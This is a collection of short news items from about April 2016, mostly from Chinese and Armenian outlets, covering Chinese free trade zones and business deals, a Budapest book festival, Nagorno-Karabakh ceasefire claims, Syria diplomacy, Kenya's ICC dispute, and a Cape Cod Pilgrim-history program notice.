As every schoolchild knows, the Pilgrims may have settled in Plymouth, but they first made landfall on the Outer Cape. Cape Cod National Seashore programs for the next two SundaysNovember 22 and November 29will explore the Pilgrim connections to the Outer Cape.

A guided walk, Reflections on the Fall Harvest of 1621, will set off at 11 a.m. on November 22 from the Pilgrim Heights parking area off Route 6 in Truro. The walk will attempt to retrace some of the first explorations of Cape Cod by the Mayflower passengers and will examine whether the fall harvest of 1621 really was the first Thanksgiving. The excursion will last about 90 minutes. Be sure to dress for the weather.

On the following Sunday, November 29, the Salt Pond Visitor Center in Easton will show Desperate Crossing on a large screen at 1 p.m. The History Channel production examines the Pilgrims' difficult journey across the Atlantic and the challenges they faced to settle in the New World.

Both programs are free and reservations are not required. For more information, visit the National Seashore website at www.nps.gov/caco.

Photo of Mayflower II in Plymouth harbor by David Lyon for Boston.com.
With the scope and penalties of Chinas social credit system being further clarified in 2021, legal and regulatory compliance has become more important than...
The four-day 23rd Budapest International Book Festival got underway on Thursday as Budapest will take the festival as its way of marking the World Book and Copyright Day on April 23.

The festival includes a focus on Slovakia as the guest country, and on Norwegian author Jostein Gaarder who is the guest of honor.

Hungarian Human Resources Minister Zoltan Balog officially opened the festival, noting that in today's world, it has become more important than ever to understand each other. He particularly emphasized the need for the countries and people in Central Europe to cooperate.

The official offered a special welcome to Gaarder, who, in his words, "has paved a way into the hard-to-open world of philosophy for schoolchildren and young people."

Slovakian Culture Minister Marek Madaric welcomed the translation of 40 Slovak books into Hungarian for the festival, saying that Hungarian publishers had done a great job in getting the Slovak books onto Hungarian bookshelves.

Gaarder was presented with the Budapest Grand Prix by Deputy Mayor Alexandra Szalay-Bobrovniczky and Andras Sandor Kocsis, president of the Association of Hungarian Book Publishers and Distributors.

The book festival will attract the participation of around 600 writers, scientists and artists, and presents about 200 newly published books. It will continue until Sunday.
China's four pilot free trade zones, located along the country's developed east coast, are spearheading structural reforms to make it easier to start businesses and grant foreign firms more access to the service sector.

Three new pilot zones were founded a year ago in Tianjin Municipality, Fujian Province and Guangdong Province. The first free trade zone in Shanghai was founded in September 2013 and expanded to include the Lujiazui financial district, a high-tech park and a development zone.

These cities and provinces led the nation during China's three decades of rapid growth. Now they have taken on the role of piloting new reforms in their free trade zones, where local authorities have greater discretion to manage business activities and cross-border capital flow.

Loosened controls on capital and widened access to sectors that remain closed or restricted for foreign firms elsewhere have led to a surge in new business registrations and cross-border transactions in the zones.

A survey published in September by the American Chamber of Commerce in Shanghai found that 42 percent of American firms are happy with measures to facilitate trade in the Shanghai free trade zone and plan to gain a foothold in the free trade zones in Tianjin, Fujian and Guangdong.

Though all will experiment with reforms to be adopted nationwide, the four free trade zones are leveraging their respective strengths and locations.

Tainjin

The northeast municipality of Tianjin plans to use its free trade zone to serve a greater region in northern China that includes Beijing and Hebei Province.

Tianjin has performed well in auto imports and financial leasing compared to the rest of the country. Including these sectors in the free trade zone allows them to grow with fewer restrictions.

The financial leasing arm of China's biggest state lender ICBC performed the country's first offshore leasing in Tianjin when it bought an A320 aircraft from Airbus and leased it to Himalaya Airlines in Nepal.

It only takes a month and half for a leasing firm to go from approval to open for business, compared with half a year in the past, a representative with CITIC Financial Leasing Co., Ltd. told Xinhua.

"It's tempting to think of people working in bureaucracy as inefficient, but those in the zone work around the clock to move things fast," the representative said.

China's HNA Group also completed its investment in Uber in the zone, where companies can carry out offshore investment of less than 300 million dollars without having to seek regulator approval.

Guangdong

The free trade zone in south China's Guangdong has been leveraging its proximity to Hong Kong and Macao to encourage more cross-border financial transactions.

A total of 13 securities firms and asset managers from Hong Kong have been allowed to invest up to 18.66 billion U.S. dollars combined in China's domestic capital markets.

Banks in the free trade zone offer more products for companies looking for merger and acquisition opportunities overseas to hedge against currency exchange risks.

The zone extends cross-border cash pooling services to smaller firms to help corporate treasuries manage cash flow both in and out of China more efficiently.

The free trade zone is also expected to produce two joint venture securities firms with a full suite of licenses and majority stakes held by offshore entities of HSBC and Bank of East Asia

Tupperware moved its R&D center for the Asia Pacific from Japan to the Nansha District of the Guangdong free trade zone.

The zone also houses many start-ups founded by entrepreneurs from Hong Kong and Macao.

Fujian

The free trade zone in Fujian has been piloting measures to ease economic exchanges with Taiwan.

The Fujian zone has granted speedy customs clearance for 120 Taiwanese products. This has made it possible for fresh fruit picked in the morning in Taiwan to hit the market in Fujian in the afternoon.

Streamlined measures for clearing Taiwanese products for the Chinese mainland have been approved by the General Administration of Customs for use in the other three zones.

In addition to eliminating redundant approvals, authorities in the Fujian zone have also set a time limit for processing applications. Applications will be approved by default if not processed within the limit and authorities will be held accountable for any repercussions. The rule has been copied across the country to improve administrative efficiency.

Shanghai

Multinational corporations are increasingly using the Shanghai zone to introduce new services to consumers in China.

Apple and Uber have both registered companies in the Shanghai free trade zone as a launchpad for their new mobile payment and ride-hailing services in China.

Shanghai also launched a yuan-denominated gold benchmark this week to offer global investors an alternative to the London and New York gold fixing.

International investors in the zone can participate in spot trading of commodities ranging from iron ore and non-ferrous metals to cotton, denominated in Chinese currency and free of tariffs and value-added taxes.

Zone authorities are drafting regulations to allow Chinese households to invest in offshore capital markets. The country currently only allows domestic financial institutions to make offshore investments on a quota basis.
Three railway-related companies pledged major investments on Thursday in the Nansha New Area to establish bases to support their overseas expansion efforts, as the area marked the first anniversary of the launch of its free trade zone.

China Railway Group and China Railway Construction Corp plan to build their headquarters for South China operations in the area, incorporating functions such as an international settlement center, manufacturing and professional services.

Two subsidiaries of China Railway GroupChina Railway Port and Channel Engineering Group Co and China Railway Tunnel Group Cowill move their headquarters to Nansha, a district in Guangzhou, Guangdong province.

A fund company under CRG has also registered in Nansha, with the group selecting a site for its shield equipment manufacturing.

The combined annual revenue of subsidiaries of China Railway Construction Corp due to be located in Nansha is estimated at 100 billion yuan ($15.44 billion), said Gao Hong, assistant general manager of China Railway Construction Nansha Investment Development Co.

The group's foreign trade will benefit from Nansha's advantageous location, free trade zone policies and bonded port policies.

"We hope to build a logistics base for going global and to support the future construction of high-speed railways in Southeast Asia and Africa," Gao said.

A third companyCRSC Rail Vehicle Co Ltdplans to establish facilities in Nansha for tram manufacturing, and the development of super high-speed wireless local area networks and core chips.

The facilities will serve as a base for exporting trams, said Yin Gang, president of China Railway Signal & Communication Co, the parent company.

Nansha has also reached an agreement with China Communications Construction Group on building facilities for projects related to regional development and industrial parks in foreign markets, especially countries included in the Belt and Road Initiative region.

Guangzhou-based China Southern Air Holding Co, the country's largest carrier by fleet, also signed an agreement on Thursday on incorporating a financial leasing company in Nansha.

Nansha will also see the establishment of a fund for the integrated development of defense-related and civil technologies, invested by companies including China Aerospace Investment Holdings Ltd and China Everbright Investment and Asset Management Co.

Nansha is part of the China (Guangdong) Pilot Free Trade Zone launched last year, the other two areas of the zone are in Shenzhen and Zhuhai.

The Nansha area of the zone is a pilot area for trade and investment policy reforms, said Ding Hongdu, director of the administrative committee of the Nansha part of the zone.

A total of 142 such policy reforms have taken place in the area, covering fields such as customs clearance and business registration and 25 of these will be adopted across Guangdong.
Papi Jiang, an Internet sensation. [File photo]

An online cosmetic broker invested by Alibaba Group has won a first-of-its-kind bid with 22 million yuan (US$3.4 million) for the exclusive rights to embed commercials in videos made by Papi Jiang, an Internet sensation.

The bid hit the hammer price in under six minutes from the starting price of 217,000 yuan. Alibaba-invested Lily and Beauty Co, an Internet TV startup and a home robotics maker were the only ones left in the final round of the bid.

The final bid price largely outstripped an average market price of about 400,000 yuan for a video blogger who attracts the same volume of viewers, according to Zhang Quanling, a venture capitalist and former TV anchorwoman.

The winner of the bid could gain a one-time promotion through Papi Jiang's performance after May 21, one month after the bid, according to Luo Zhenyu, Papi Jiang's investor and the bid's organizer.

Venture capitalists, including Luo, have plowed a total of 12 million yuan into the Jiang phenomenon in mid-March.

Yang Ming, Papi Jiang's manager, said all the money raised would be donated to the Central Academy of Drama, where she is studying for a master degree.

Papi Jiang, the 30-year-old sensation whose real name is Jiang Yilei, is a Shanghai-born student in film directing at the academy in Beijing.
Ctrip, a leading online travel agency, announced on Thursday that it will invest 3 billion yuan (463 million U.S. dollars) in China Eastern Airlines through a private share placement.

China Eastern Airlines Holding Company, one of China's three major air transportation groups and the parent company of China Eastern Airlines, signed an agreement with Ctrip on the same day.

Ctrip may increase its stake in China Eastern Airlines in the next 12 months and may be entitled to appoint an observer or a director to the airlines' board of directors, subject to the satisfaction of certain conditions, the agreement said.

China Eastern Airlines won approval from the China Securities Regulatory Commission in January to issue non-public A-shares with a maximum value of 15 billion yuan to up to 10 unrelated investors at a price of 6.44 yuan per share.
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Tencent founder Pony Ma. [Photo/Xinhua]

Chinese internet giant Tencent's founder Ma Huateng, also known as Pony Ma, will donate 100 million company shares, worth more than US$2 billion, to a new charity fund.

The new fund deals with a range of causes in China including health, education and environmental conservation.

Pony Ma's move will be the largest donation of its kind ever an individual in China.

Rankings suggests Pony Ma is currently the 34th richest man in the world, with a net worth of over 20 billion US dollars.

In 2014, Jack Ma and Joe Tsai, founders of Alibaba, also promised to establish a philanthropic trust funded through Alibaba shares.
YEREVAN, APRIL 22, ARMENPRESS. Armenpress news agency presents on the air of LRATVAKAN radio all that you will hear, read and see on todays news.

Foreign Minister of the Russian Federation Sergey Lavrov arrived in Armenia. On April 22 Sergey Lavrov will visit Tsitsernakaberd where he will lay flowers in the memorial complex of the innocent victims of the Armenian Genocide. He will visit also the Museum-Institute of the Armenian Genocide. Then, the meeting will be held between the Foreign Minister of Armenia Edward Nalbandian and the Foreign Minister of Russia Sergey Lavrov. After the meeting, the joint press conference will be held by the two Foreign Ministers.

Sergey Lavrovs visit to Armenia is connected with the recent developments in Karabakh. Former Human Rights Defender of Armenia, the executive director of Against Violation of Law NGO Larisa Alaverdyan will speak about Sergey Lavrovs visit to Armenia and the recent escalations over Nagorno Karabakh Republic.

The Museum-Institute of the Armenian Genocide summarizes its works done so far and presents its future plans. Today the Director of the Museum-Institute Hayk Demoyan will speak about the activity of the Museum-Institute and its ongoing programs. Armenian and English versions of the Museums publication will be presented.

A joint press conference of the representatives of Aurora Awards and the Against the crime of genocide global forum will take place. Details about the upcoming forum will be presented. The global forum is due to take place on April 23. German Bundestag MP Christoph Bergner has arrived in Armenia to take part in the global forum. A meeting is scheduled to take place with the MP in the YSU European research center.

The international entrepreneurial INVEST ARMENIA 2016 conference will kick off today. More than 250 entrepreneurs will take part. Possible prospects of Armenia-Eurasian Union-Iran cooperation will be discussed. Entrepreneurs who have invested in Armenia and achieved success will speak at the event.

Members of the Armenian network of independent life, which supports the disabled, will pay tribute to the victims of the Armenian Genocide in the Tsitsernakaberd Memorial-Complex. Hundreds of disabled will lay flowers at the Eternal Flame.

You can read about these and other topics on armenpress.am and listen to the news on the air of LRATVAKAN. Follow us on TWITTER and FACEBOOK.
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Weng Mao, the former board chairman of Shanghai Guanshengyuan Food (Group). [File photo]

A former businessman was hit in the head by a stone that was pushed over by a monkey at a mountain park in central China's Henan Province on April 19, according to the park's administration office.

Weng Mao, 67, the man in the accident, was quickly sent to a local hospital but later died from his injuries.

He was the former board chairman of Shanghai Guanshengyuan Food (Group), which owns the famous White Rabbit Creamy Candy brand, an insider at the company revealed.

The insider said that Weng had kept fit after retirement and had a passion for photography. It is still unclear if the trip to Yuntai Mountain was an organized photo shooting activity.

The accident happened in the mountain park's Xiaozhaigou Valley. The park is a natural reserve for macaque monkeys, a second-class protected animal species in China.
Dalian Wanda Group told private investors backing its property-arm buyout that it would buy back their shares, guaranteeing 10 to 12 percent annual return, if it fails to re-list on the A-share markets as scheduled, reported Bloomberg.

The conglomerate is seeking investors to help purchase as much as 14.4 percent of Dalian Wanda Commercial Properties Co, as the latter is preparing to delist from Hong Kong Stock Exchange, said the news agency citing a document sent to prospective buyers.

Wanda stated in the pitch material that valuations for some developers listed on the mainland are more than triple those of comparable stocks in Hong Kong.

If the Wanda Commercial Properties fails to go public on a mainland exchange by either Aug 31, 2018, or two years from its de-listing, Wanda promises to buy back the shares at a level guaranteeing a 12 percent annual return for domestic investors and 10 percent for those overseas, said Bloomberg.

Last month, the real estate company announced it offered to buy out shareholders at HK$48 per share, unchanged from the price it offered in its December 2014 IPO.

The move comes as the biggest giant among offshore-listed companies rushes home for valuation premium.

Market speculates that the developer is more likely to land on A-share via reverse merger, as some 700 companies are currently lining up for listing approval. Deloitte expects regulators will only grant a total of 180 to 220 IPOs this year for market stability reasons.
The 77 alleged members of telecom fraud syndicates deported from Kenya earlier this month will be tried on the Chinese mainland, a Ministry of Public Security (MPS) official said Thursday.

Chen Shiqu, deputy inspector with the MPS's criminal investigation bureau made the remarks after a Taiwan delegation visited the Beijing detention center where the suspects were currently held. Forty-five of the suspects originate in Taiwan.

"The suspects specifically targeted people on the Chinese mainland and their victims are from the mainland. Not to mention that many of the suspects are themselves from the mainland," Chen said. "They will be investigated and prosecuted in accordance with mainland law," he said.

"Mainland Police will spare no efforts in dealing with telecom fraud syndicates, and we expect authorities in Taiwan will do the same," he added.
Facing a predicted surge in pregnancies this year following the adoption of the universal second-child policy in China, major hospitals in Beijing are setting aside twice as many beds as usual for woman with high-risk pregnancies.

The staff of a high-end maternity hospital in Beijing hold a small party for the mother and her newborn baby.[Provided to China Daily]

Health authorities in the capital say they will increase the number of obstetrics beds and available staff in public hospitalsand purchase services at private hospitals if necessaryto meet the expected demand, the Beijing Municipal Commission of Health and Family Planning said on Monday.

The number of births in Beijing is expected to exceed 300,000 this year, a rise of about 20 percent from the levels of previous years, Fang Laiying, head of the commission, said in November.

But, a large portion of those eligible to have a second child are over 40 and likely to face increased risks during their pregnancies, including hypertension, which will pose a greater challenge for hospitals, the commission said.

Local health authorities have responded by stipulating that pregnant women in high-risk groups, such as older women and those with health issues, must give birth at Grade A hospitals, the commission said.

At those top-end obstetrics hospitals, high-risk women will account for 80 percent of admissions, up from the previous 40 percent, the commission said.

Health authorities in the capital are also required to offer enhanced monitoring to women in high-risk groups, along with advanced treatment to head off complications during pregnancy, the commission added.

Meanwhile, a citywide network will be developed this year for the treatment and transfer of newborns with serious conditions, the commission said.

About 90 million women in China are newly eligible to have a second baby following the universal second-child policy's implementation on Jan 1. More than half of them are between 40 and 49, according to the National Health and Family Planning Commission.

Chao Wei, a publicity official from Beijing Obstetrics and Gynecology Hospital, said more than 70 percent of the pregnant women it admits are now from high-risk groups.

"The figure will rise this year," he said. "We expect a big increase in pregnant women this year."

Wu Ya, an official specializing in maternal and child healthcare at the Beijing Municipal Commission of Health and Family Planning, said around 5,000 obstetrics beds were available in Beijing hospitals last year.

According to the commission, demand for obstetrics beds was 108 percent of capacity last year at Grade A hospitals in the capital, meaning all regular beds in obstetrics departments were occupied and that extra beds were added to cope with demand.

Wu suggested women with low-risk pregnancies should favor smaller, less busy hospitals and doctors will refer them to larger ones if necessary.
The classroom at the end of a corridor in a north China medical school houses 33 wills and three specimens jars holding human organs.

The wills were written by 33 donors who donated their organs for transplants or their bodies for autopsy.

"Do not try to save me when my condition becomes critical," reads one of the wills. "I'm willing to donate my corneas and all my organs to whoever needs them; I hope my body will be used for autopsy, and if possible, please sprinkle my ashes into the sea because I used to serve in the Navy."

Many of the 40 sophomores and juniors from Nankai University's Medical School were driven to tears when they visited the exhibition room on Tuesday for a class.

The lesson for the future doctors was on professional ethics and the meaning of life, said associate professor Zhang Jinzhong, who led the session.

Each of the 33 donors said they wanted their bodies to help medical research.

Some of them were medical workers themselves.

Zhu Xianyi, an expert on endocrinology who died in 1984, donated his body, all his savings, house and books to science.

Wang Guiying, a retired nurse who won the Nightingale Awards for Nursing Excellence in 1999, signed her name on the cadaver donation form a few days before she died in 2012.

Two of the donors were former employees of Nankai University, including a librarian and a worker at the institution's chemical plant.

"They had different lives and different understandings of medicine," Zhang told his students.

"But they were all trying to do something to assist medical research. They are our silent teachers."

One has to be kind and sympathetic to be a doctor, Zhang said. "The aim of this class is to show the students some of the qualities a doctor must possess, and incorporate humanism in science studies."

Junior student Shen Yeting had tears in her eyes as she read the wills, "They are heroes in my eyes. I admire their attitudes regarding life and death."

The traditional belief that one's body must remain complete after death has long hampered organ and body donations in China. Many Chinese medical students complain that they have little or no experience working on cadavers in university due to a lack of donated bodies.

Cadaver donations

The Red Cross Society of China said 39,301 people applied to donate organs or cadavers in China from 2000 to 2015, of which 4,734 donations were accepted and used.

In Beijing, 235 bodies were donated to three medical universities last year. Bringing the total number to 2,097 since official data became available in 1999.

Sophomore student Cao Kejie said he was impressed with the will of a construction worker, who decided to donate his body after he learned the importance of such donations from his doctor. "Good doctors do not just heal people, they also inspire people."

Cao, a native of north China's Shaanxi Province, is studying to be a dentist. His dream to study medicine was inspired by his mother, who spent many years taking care of his bedridden grandmother and never complained.

"I plan to go back to my hometown and provide better dental care for people in small cities and tiny towns," Cao said. "This pleases my mother."
China has launched its latest campaign to capture corrupt officials who have fled overseas and recover their dirty assets.

Police officers escort a suspect surnamed Li, who was involved in a financial fraud case worth nearly 2 billion yuan 11 years ago, back to Taiyuan, capital city of north China's Shanxi province on May 19, 2015 as part of the Fox Hunt campaign. [Photo: china.com]

The Communist Party of China's (CPC) Central Commission for Discipline Inspection (CCDI) said in a statement on its website on Thursday that it will coordinate "Sky Net 2016" along with the Ministry of Public Security (MPS), Supreme People's Procuratorate (SPP), People's Bank of China (PBOC), Organizational Department of the CPC Central Committee, and Ministry of Foreign Affairs.

The MPS will continue to spearhead the "Fox Hunt" campaign that targets suspects in economic crimes, while the SPP will take charge of those implicated in duty-related crimes.

From April to December last year, "Fox Hunt 2015" saw China seize 857 fugitives hiding overseas, scattered across 66 countries and regions, according to MPS figures.

The PBOC, China's central bank, will work with the MPS to police money laundering via offshore companies and underground banks.

Several of these agencies will also target overseas trips made with illegal documents.

Tracking down fugitives and recovering stolen assets is a tough task that calls for more resolute action and a multi-pronged approach, said Huang Shuxian, deputy head of the CCDI.
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Beijing has used technology designed for spacesuits to create the latest firefighting gear, the Beijing Times reported.

An armed police officer shows newly-developed firefighting gear. (Photo/Beijing Times)

The Astronaut Center of China delivered the newly-designed multifunctional protective suits to Beijing's fire brigade on Wednesday.

The suits were made with high-tech innovation similar to that used to produce extravehicular mobility units (EMUs), the spacesuits that provide environmental protection, mobility, life support and communications for astronauts.

The suit is resistant to high temperatures, thermal radiation and deflagration. Inside the suit is an automatic air-conditioning system. The suit also allows users to transmit audio and visual messages from 500 meters underground.

The suit can monitor a firefighter's physical conditions, including their pulse in real time, and send alerts in case of emergency. The helmet integrates lighting, photography and information collection, according to the report.

Four sets of suits will be put through practical testing, before more are rolled out in Beijing.

Research on the suit, supported by the Beijing Municipal Science and Technology Commission and the Beijing Municipal Institute of Labor Protection, was carried out over nearly three years.
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The first public library on China's southernmost island city of Sansha opened on Thursday in the city's only school.

Students read books at the first public library on China's southernmost island city of Sansha in Hainan province, April 21, 2016. [Photo/people.cn]

The school, which opened in November last year, has 28 students of kindergarten and primary-school age and 10 teachers.

Established in July 2012, Sansha administers more than 200 islets, sandbanks and reefs in the Xisha, Zhongsha and Nansha island groups, as well as two million square km of surrounding waters in the South China Sea.

On Thursday, China Publishing Group Corp inked an agreement with the city government of Sansha to build and manage the public library.

The agreement was signed on Yongxing Island, one of the Xisha islands and the city's administrative base. The publishing house donated 13,000 books worth 300,000 yuan ($46,320) to the Yongxing School.

According to the agreement, the library is temporarily housed at the school, until the city government builds another venue.

Xiao Fang, president of Yongxing School, said life on the islands is still difficult because of a lack of facilities. People are also thirsty for good reading materials.

"The library will be a cultural bridge between the islands and the mainland," said Fan Xi'an, an executive of the publishing house.

The company also promised newly-published books would be added to the library's collection every year.

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YEREVAN, APRIL 21, ARMENPRESS. The Ministry of Defense of the Nagorno Karabakh Republic informs that Azerbaijan made 70 ceasefire violations along the entire length of frontline, Armenpress was informed by the Press Service of NKR Defense Army.

The NKR Defense Army statement reads: No changes were observed in the contact line situation during the night of April 21-22. Azerbaijan violated the ceasefire agreement more than 70 times by firing various caliber weapons along the entire length of the frontline. Except from various caliber weapons, Azerbaijani armed forces fired RPG-7 (1 grenade) grenade launcher in the southeastern (Hadrut) direction, and ZU-23-2 anti-aircraft autocannon (1 shot) in northeastern direction.

The Defense Army forces are in control of the situation and confidently continue monitoring the borders.
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Chinese Foreign Minister Wang Yi said on Thursday that the "dual-track" approach is a practical and feasible way to solve the South China Sea issue.

The peace and stability of the South China Sea is in the interests of both China and Brunei, Wang told a press conference.

After an in-depth exchange of views on the situation of the South China Sea, Wang said both sides reached consensus and agreed to push forward the "dual-track" approach -- disputes should be resolved peacefully through negotiation between the parties directly concerned, and China and ASEAN countries should work together to maintain peace and stability in the South China Sea.

The Chinese minister said the "dual-track" approach complies with the peaceful settlement of disputes through negotiation advocated by the UN Charter and the Declaration on the Conduct of Parties in the South China Sea (DOC) between China and ASEAN countries.

Parties directly concerned in the maritime disputes could find a solution acceptable to them through consultations, Wang said.

"Pending a settlement, they could also discuss and shelve their disputes for joint exploration and development, and constructively manage the differences," he added.

China and ASEAN nations should earnestly implement the DOC while accelerating consultations on the Code of Conduct (COC).

Running counter to the "dual-track" approach, the overall interest of ASEAN would be harmed or hijacked by certain members for their own gains, and the peace and stability of the South China Sea would be jeopardized by the intervention of countries outside the region, Wang warned.

Noting that the "dual-track" approach was first initiated by Brunei, the Chinese top diplomat believed that China and ASEAN nations are capable of managing the maritime disputes and building the South China Sea as a sea of peace, friendship and cooperation.

Wang arrived here on Thursday for a visit to the sultanate, the first leg of his three-nation tour which will also take him to Cambodia and Laos.
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China's envoy to Syria, Xie Xiaoyan, stressed on Thursday that China will continue to help push all parties in Syria to reach a solution for the long-running conflict.

"China will continue to exert efforts to push all parties to reach a solution to the Syrian issue with thoughts and wisdom," Xie, who is currently on a visit to Syria, told reporters here in Damascus.

He said all parties must cling to dialogue and negotiations to reach a political solution, and most importantly they should have patience and trust.

"All parties must undertake all measures to tighten the gap so that they could find a solution taking into consideration all concerns of the Syrians," he said.

The envoy's remarks came after his meeting with Syria's Foreign Minister Walid al-Moallem, who stressed that the Syrian government and people are carrying on with the war on terror.

China appointed Xie Xiaoyan as a special envoy for the Syrian issue late last month, indicating a more active role in addressing the conflict.

Xie, former ambassador to Iran and Ethiopia as well as China's representative to the African Union, has a rich understanding of Middle East affairs.
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Turkish warplanes struck targets of the outlawed Kurdish Workers' Party (PKK) in southeastern Turkey on Thursday, said a Turkish military statement.

Four F-16 fighter jets were involved in the military operation, hitting the PKK targets in Daglica region in Hakkari province in southeastern Turkey on Thursday morning, said the statement issued by the General Staff of the Turkish Armed Forces.

Another six F-16 fighter jets bombed the PKK targets in Uludere town of Sirnak province in southeastern Turkey before Thursday noon, according to the statement.

All 10 warplanes safely returned to the bases in Turkey after hitting the PKK targets in southeastern Turkey, said the statement.

The air raids were part of an escalated campaign against PKK posts in Iraq following a suicide car bombing on March 13 that killed 37 people in the capital city of Ankara.

The Kurdistan Freedom Hawks (TAK), a Kurdish militant group linked to the PKK, has claimed responsibility for the attack.

On Feb. 17, a suicide car bomb targeted military shuttles in Ankara, killing at least 29 people and injuring 81 others. TAK also claimed responsibility for that attack.

Since a two-year cease-fire between the government and the PKK disintegrated last July, Turkish security forces have launched a major campaign against the PKK in southeast Turkey, leaving over 260 members of Turkey's security forces and thousands of PKK members dead.

The PKK, waging its separatist war against Turkey since 1984, is listed as a terrorist organization by Turkey, the United States and the European Union.
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UN Special Envoy for Syria Staffan de Mistura reported Thursday that though much more work needs to be done, some progress has been made on the humanitarian front in Syria since the UN-led taskforce in charge of the matter last convened a week ago.

"There's been a modest but real progress regarding the humanitarian situation in Syria. Modest but real," he told press.

"So far 560,000 people have been reached in hard to reach areas and besieged areas, which means that around 220,000 people in the besieged areas have been reached," he added.

This represents close to half the total number of people living in areas besieged by warring factions.

Working with a list of 18 besieged areas, de Mistura announced that 12 of these had been provided with aid, some more than once.

The special envoy also reported that 515 people had been medically evacuated Wednesday from Zabadani, Madaya, Kafraya and Foah.

Darayya also received its first convoy carried out by a UN mission since 2012. On the ground reports reveal that there are children and civilians in urgent need of food and medical supplies.

The mediator furthermore confirmed that eight successful high-altitude airdrops reaching some 65,000 people have been conducted in Deir ez-Zor, a town in eastern Syria surrounded by the Islamic State.

Plans to vaccinate some 2.2 million children in two Syrian areas are scheduled to start on April 24.

Despite relative progress, de Mistura warned that efforts need to be enhanced by all sides in order to cater to the urgent needs of the Syrian population.

Certain medical supplies such as vitamins, antibiotics, painkillers surgical items and basic medical kits are still being removed from aid convoys.

"This is not only worrisome but unacceptable according to international law. This issue has become a priority from the humanitarian taskforce in particular to the government of Syria," said de Mistura.

The taskforce also addressed problems caused by the armed opposition, in particular regarding the ability to reach and restart humanitarian work in Azaz and eastern Aleppo.

With no progress made on the release of detainees' front, the diplomat announced that he will soon nominate a fulltime technical official to deal with the issue of detainees and abducted people.

"If humanitarian aid increases and the cessation of hostilities goes back to what we consider a hopeful mood, that will certainly help the political discussions," he concluded.
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Kenya said on Thursday it will not extradite three Kenyans wanted by the International Criminal Curt (ICC) over witness tampering.

Attorney General (AG) Professor Githu Muigai said instead the three should be tried locally as Kenya has a working legal system that can competently handle their cases.

Muigai who is the government's top legal adviser said the ICC is obliged under the Rome Statute and in exercise of the principle of complementarity to assist member states conduct local prosecutions.

"Kenya reserves her right under the Rome Statute to demand respect for the principle of complementarity and moving forward, without prejudice to the ongoing cases, shall be engaging the ICC in seeking the handover of the investigation files, evidence and requisite information to support the preferring of charges and subsequent prosecution of the three accused locally," Muigai told jounalists in Nairobi.

Lawyer, Paul Gicheru, Phillip Bett and ex-journalist Walter Barasa are wanted by The Hague-based Court for alleged witness interference in the cases against Ruto and journalist Joshua Sang before their cases were terminated early this month.

The country witnessed counter accusations over the authenticity of some of the anonymous prosecution witnesses used by the ICC during the confirmation of charges hearings against six Kenyans accused of bearing the greatest responsibility over the infamous post election violence.

Muigai said the East African nation cooperated with the ICC and it expected the court to as well cooperate to assist Kenya in prosecution the three nationals.

"The government welcomes the setting up of the International Crimes Division on the High Court of Kenya, which the Executive has been requesting for establishment since 2012. This will provide the framework to address all other outstanding cases," he said.

He said while the allegations against the three are serious, their crimes falls within Kenya judicial jurisdiction.

Muigai said a comprehensive political programme has been designed by the government to reconcile the country and deepen national healing and cohesion.

"The government is committed to working together with our partners in securing enhanced support to victims of the Post-Election Violence as well as all other victims of crime and injustice," said Muigai.

The AG's statement comes about three days after it emerged that Kenya could face sanctions and risk being declared a pariah state, if it fails to cooperate with the ICC by handing over three suspects facing charges of corruptly influencing prosecution witnesses.

ICC spokesman Fadi El-Abdallah said the institution had not received any official notice from the government, indicating its intention to stop cooperating with court, despite President Uhuru Kenyatta's declaration that no other Kenyan would stand trial at The Hague.

Kenyatta vowed on April 16 never to allow any Kenyan to be tried at the ICC over the 2007/2008 post election clashes in which more than 1,200 people were killed and 600,000 others displaced.

Kenyatta made the announcement while leading Kenyans in thanksgiving prayers at Nakuru, about 180 km northwest of Kenya, vowing to pursue local mechanisms to solve the country's problems.
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Fugitive U.S. whistle-blower Edward Snowden has filed a lawsuit against Norway to ensure he can travel to the Nordic country to receive a prize without fear of being extradited to the United States, a Norwegian law firm said on Thursday.

The Norwegian PEN organization awarded Snowden the Ossietzky Prize for 2016 and invited him to receive the award in Oslo on November 18, the law firm Schjodt said in a statement, adding that Snowden had a strong desire to come to Norway to personally receive the award.

The firm said it had filed a petition on behalf of Snowden against the ministry of justice and public security to ensure he "can travel safely to Norway to receive the prize without risking extradition to the United States."

"The purpose is to legally established that Norway has no right to extradite Snowden to the United States," the firm said in the statement.

It said Snowden's alleged crimes were political in nature and, according to Norwegian and international laws, he cannot be extradited to the United States.

Local media reported that the United States had previously asked Norway to extradite Snowden to his home country if he entered the country, but the Norwegian authorities did not take any clear stand on the issue.

Snowden faces three felony charges in the United States, including espionage, after he disclosed a classified U.S. intelligence project code-named PRISM in June 2013.

He obtained refugee status in Russia in August 2013 and currently holds a Russian residential permit valid for three years. But the status will be canceled once Snowden leaves Russia.
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China criticized Japanese Prime Minister Shinzo Abe's offering to the notorious war-linked Yasukuni Shrine during the shrine's spring festival on Thursday.

Abe, along with other notable senior politicians, made ritual offerings to the shrine that honors Class-A convicted war criminals of World War II, who were directly responsible for the war of aggression.

"The Japanese side should face up to and deeply reflect on the history of the invasion, make a clean break from militarism, and regain trust from its Asian neighbors and the international community with concrete action," said Foreign Ministry spokesperson Hua Chunying.

She told a regular press briefing that China holds a clear and consistent position with regard to the Yasukuni Shrine issue.

Abe has offered the "masakaki" trees during the shrine's spring and autumn festivals since he returned to power late 2012 and paid an unpopular visit in December 2013, prompting strong protests from China and the Republic of Korea.
YEREVAN, APRIL 22, ARMENPRESS. The denial of history by Turkey cannot be continued, a professor of international law at Middlesex University of the United Kingdom William Schabas said this during the interview with Armenpress. He is confident that many Turks understand that their government is responsible for what happened against the Armenian people in 1915.

It is one of the darkest pages in the history of Turkey, he stated. The Professor highlighted that today there are many people in the world who are aware of the Armenian Genocide committed by Turkey a century ago.

However governments of several states which are being supressed by Turkey and are concerned about their relations with it, fear which discredits themselves, Schabas said.

He is convinced that there is e need to recognize the genocide committed in the past in order to avoid future genocides.

If political concerns shade to historical perceptions, then a concern is being raised that they will have such kind of impact in the ongoing massacres. This is a real matter of concern said the Professor.

Speaking about the possible reconciliation of Armenian and Turkish people, the Professor highlighted there is a need of joint historical acknowledgment. This proposes that all those terrible crimes committed against the Armenian people a century ago should be recognized, he said. He suggested to call what happened with Armenians as crime against the humanity stating that probably in this case it will be easier for Turkey to face the truth.

Araks Kasyan
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The Swiss Federal Department of Foreign Affairs (FDFA) deplored on Thursday the upsurge in fighting in parts of Syria, warning that the cessation of hostilities agreement is integral to UN efforts seeking to broker a political solution to the five-year crisis.

